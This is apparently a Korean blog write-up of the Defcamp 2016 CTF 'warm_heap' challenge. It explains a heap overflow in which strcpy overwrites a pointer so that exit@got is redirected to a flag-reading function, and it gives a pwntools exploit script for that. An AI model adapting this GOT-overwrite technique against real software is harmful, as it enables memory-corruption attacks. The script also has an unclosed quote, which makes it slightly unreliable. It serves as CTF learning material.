ctf

[Defcamp 2016 CTF] warm_heap

woodonggyu 2017. 1. 14. 03:58

#file exp100.bin

exp100.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0e731dd538262f53bce462fc8e115cf2d2ede5bf, stripped

 

간단하게 설명하자면.. 각 1,3번째 malloc pointer + 1 의 위치에 2,4번째 malloc() 함수의 반환 주소를 넣는다.

그리고 fgets() 함수를 통해서 malloc pointer + 1 의 주소 값에 4096byte 만큼 입력받는다. 여기서 첫 번째 strcpy() 를 통해 malloc_ptr2 + 1 의 주소 값을 덮어줄 수 있다.

따라서, malloc_ptr2 + 1 영역에 exit@got 주소를 넣고, flag를 fopen() 하는 곳으로 넘겨주면 flag를 읽는다.

 

 

# exploit

from pwn import *

binary = ELF('./exp100.bin)

#r = remote('192.168.127.163', 7778)
p = process('exp100.bin')


exit_got = binary.got['exit']
readflag = 0x400826

log.info('exit@got = ' + hex(exit_got))
log.info('read_flag_addr = ' + hex(readflag))


payload = "A"*40
payload += p64(exit_got)

payload_2 = p64(readflag)


p.sendline(payload)
p.sendline(payload_2)

p.interactive()